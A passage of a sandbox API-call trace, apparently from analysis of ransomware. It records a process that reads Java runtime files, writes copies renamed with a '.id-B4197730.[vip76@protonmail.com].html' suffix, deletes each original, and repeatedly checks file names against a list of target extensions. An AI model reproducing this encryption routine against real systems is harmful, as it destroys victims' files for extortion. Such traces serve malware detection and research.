	[0177.818] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.818] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0177.818] SetEndOfFile (hFile=0x594) returned 1
	[0177.819] CloseHandle (hObject=0x594) returned 1
	[0177.819] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.819] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.823] CloseHandle (hObject=0x4a8) returned 1
	[0177.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.823] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1
	[0177.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.824] lstrlenW (lpString=".doc") returned 4
	[0177.824] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.824] lstrlenW (lpString=".docx") returned 5
	[0177.824] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0177.824] lstrlenW (lpString=".pdf") returned 4
	[0177.824] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.824] lstrlenW (lpString=".xls") returned 4
	[0177.825] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.825] lstrlenW (lpString=".xlsx") returned 5
	[0177.825] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0177.825] lstrlenW (lpString=".ppt") returned 4
	[0177.825] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.825] lstrlenW (lpString=".zip") returned 4
	[0177.825] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.825] lstrlenW (lpString=".rar") returned 4
	[0177.825] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.825] lstrlenW (lpString=".bz2") returned 4
	[0177.825] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.825] lstrlenW (lpString=".7z") returned 3
	[0177.825] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.825] lstrlenW (lpString=".dbf") returned 4
	[0177.825] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.825] lstrlenW (lpString=".1cd") returned 4
	[0177.825] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.825] lstrlenW (lpString=".jpg") returned 4
	[0177.825] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.826] lstrlenW (lpString=".doc") returned 4
	[0177.826] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.826] lstrlenW (lpString=".docx") returned 5
	[0177.826] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0177.826] lstrlenW (lpString=".pdf") returned 4
	[0177.826] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.826] lstrlenW (lpString=".xls") returned 4
	[0177.826] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.826] lstrlenW (lpString=".xlsx") returned 5
	[0177.826] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0177.826] lstrlenW (lpString=".ppt") returned 4
	[0177.826] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.826] lstrlenW (lpString=".zip") returned 4
	[0177.826] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.826] lstrlenW (lpString=".rar") returned 4
	[0177.826] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.826] lstrlenW (lpString=".bz2") returned 4
	[0177.826] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.826] lstrlenW (lpString=".7z") returned 3
	[0177.826] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.826] lstrlenW (lpString=".dbf") returned 4
	[0177.826] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.826] lstrlenW (lpString=".1cd") returned 4
	[0177.826] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0177.827] lstrlenW (lpString=".jpg") returned 4
	[0177.827] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.827] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.827] lstrlenW (lpString="jsse.jar") returned 8
	[0177.827] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.828] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=584576) returned 1
	[0177.828] CloseHandle (hObject=0x4a8) returned 1
	[0177.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20
	[0177.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.829] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.829] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.830] GetLastError () returned 0x0
	[0177.830] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x8eb80, lpOverlapped=0x0) returned 1
	[0178.183] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x8eb90, lpOverlapped=0x0) returned 1
	[0178.195] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.195] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0178.195] SetEndOfFile (hFile=0x594) returned 1
	[0178.195] CloseHandle (hObject=0x594) returned 1
	[0178.195] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.195] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.524] CloseHandle (hObject=0x4a8) returned 1
	[0178.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.525] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.526] lstrlenW (lpString=".doc") returned 4
	[0178.526] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.526] lstrlenW (lpString=".docx") returned 5
	[0178.526] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0178.526] lstrlenW (lpString=".pdf") returned 4
	[0178.526] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.526] lstrlenW (lpString=".xls") returned 4
	[0178.526] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.526] lstrlenW (lpString=".xlsx") returned 5
	[0178.526] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0178.526] lstrlenW (lpString=".ppt") returned 4
	[0178.526] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.526] lstrlenW (lpString=".zip") returned 4
	[0178.526] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.526] lstrlenW (lpString=".rar") returned 4
	[0178.526] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.526] lstrlenW (lpString=".bz2") returned 4
	[0178.526] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.526] lstrlenW (lpString=".7z") returned 3
	[0178.526] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.526] lstrlenW (lpString=".dbf") returned 4
	[0178.526] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString=".1cd") returned 4
	[0178.527] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString=".jpg") returned 4
	[0178.527] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString=".doc") returned 4
	[0178.527] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.527] lstrlenW (lpString=".docx") returned 5
	[0178.527] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0178.527] lstrlenW (lpString=".pdf") returned 4
	[0178.527] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString=".xls") returned 4
	[0178.527] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString=".xlsx") returned 5
	[0178.527] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0178.527] lstrlenW (lpString=".ppt") returned 4
	[0178.527] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString=".zip") returned 4
	[0178.527] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString=".rar") returned 4
	[0178.527] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.527] lstrlenW (lpString=".bz2") returned 4
	[0178.527] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.527] lstrlenW (lpString=".7z") returned 3
	[0178.527] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.527] lstrlenW (lpString=".dbf") returned 4
	[0178.527] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.528] lstrlenW (lpString=".1cd") returned 4
	[0178.528] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0178.528] lstrlenW (lpString=".jpg") returned 4
	[0178.528] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.528] lstrcmpiW (lpString1=".libraries", lpString2=".html") returned 1
	[0178.528] lstrlenW (lpString="trusted.libraries") returned 17
	[0178.528] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.529] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=0) returned 1
	[0178.529] CloseHandle (hObject=0x4a8) returned 1
	[0178.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.530] lstrlenW (lpString=".doc") returned 4
	[0178.530] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0178.530] lstrlenW (lpString=".docx") returned 5
	[0178.530] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0178.530] lstrlenW (lpString=".pdf") returned 4
	[0178.530] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0178.530] lstrlenW (lpString=".xls") returned 4
	[0178.530] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0178.530] lstrlenW (lpString=".xlsx") returned 5
	[0178.531] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0178.531] lstrlenW (lpString=".ppt") returned 4
	[0178.531] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString=".zip") returned 4
	[0178.531] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString=".rar") returned 4
	[0178.531] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString=".bz2") returned 4
	[0178.531] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString=".7z") returned 3
	[0178.531] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString=".dbf") returned 4
	[0178.531] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString=".1cd") returned 4
	[0178.531] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString=".jpg") returned 4
	[0178.531] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.531] lstrlenW (lpString=".doc") returned 4
	[0178.531] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString=".docx") returned 5
	[0178.531] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0178.531] lstrlenW (lpString=".pdf") returned 4
	[0178.531] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0178.531] lstrlenW (lpString=".xls") returned 4
	[0178.531] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString=".xlsx") returned 5
	[0178.532] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0178.532] lstrlenW (lpString=".ppt") returned 4
	[0178.532] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.532] lstrlenW (lpString=".zip") returned 4
	[0178.532] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString=".rar") returned 4
	[0178.532] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString=".bz2") returned 4
	[0178.532] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString=".7z") returned 3
	[0178.532] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.532] lstrlenW (lpString=".dbf") returned 4
	[0178.532] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.532] lstrlenW (lpString=".1cd") returned 4
	[0178.532] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0178.532] lstrlenW (lpString=".jpg") returned 4
	[0178.532] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0178.532] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0178.532] lstrlenW (lpString="US_export_policy.jar") returned 20
	[0178.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.533] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3026) returned 1
	[0178.533] CloseHandle (hObject=0x4a8) returned 1
	[0178.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20
	[0178.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.534] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.534] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.535] GetLastError () returned 0x0
	[0178.535] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0178.536] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0178.537] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.537] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0178.537] SetEndOfFile (hFile=0x514) returned 1
	[0178.538] CloseHandle (hObject=0x514) returned 1
	[0178.538] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.538] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.540] CloseHandle (hObject=0x4a8) returned 1
	[0178.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.541] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.542] lstrlenW (lpString=".doc") returned 4
	[0178.542] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.542] lstrlenW (lpString=".docx") returned 5
	[0178.542] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0178.542] lstrlenW (lpString=".pdf") returned 4
	[0178.542] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.542] lstrlenW (lpString=".xls") returned 4
	[0178.542] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.542] lstrlenW (lpString=".xlsx") returned 5
	[0178.542] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0178.542] lstrlenW (lpString=".ppt") returned 4
	[0178.542] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.542] lstrlenW (lpString=".zip") returned 4
	[0178.542] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.542] lstrlenW (lpString=".rar") returned 4
	[0178.542] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.542] lstrlenW (lpString=".bz2") returned 4
	[0178.542] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.542] lstrlenW (lpString=".7z") returned 3
	[0178.542] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.542] lstrlenW (lpString=".dbf") returned 4
	[0178.542] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString=".1cd") returned 4
	[0178.543] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString=".jpg") returned 4
	[0178.543] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString=".doc") returned 4
	[0178.543] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.543] lstrlenW (lpString=".docx") returned 5
	[0178.543] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0178.543] lstrlenW (lpString=".pdf") returned 4
	[0178.543] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString=".xls") returned 4
	[0178.543] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString=".xlsx") returned 5
	[0178.543] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0178.543] lstrlenW (lpString=".ppt") returned 4
	[0178.543] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0178.543] lstrlenW (lpString=".zip") returned 4
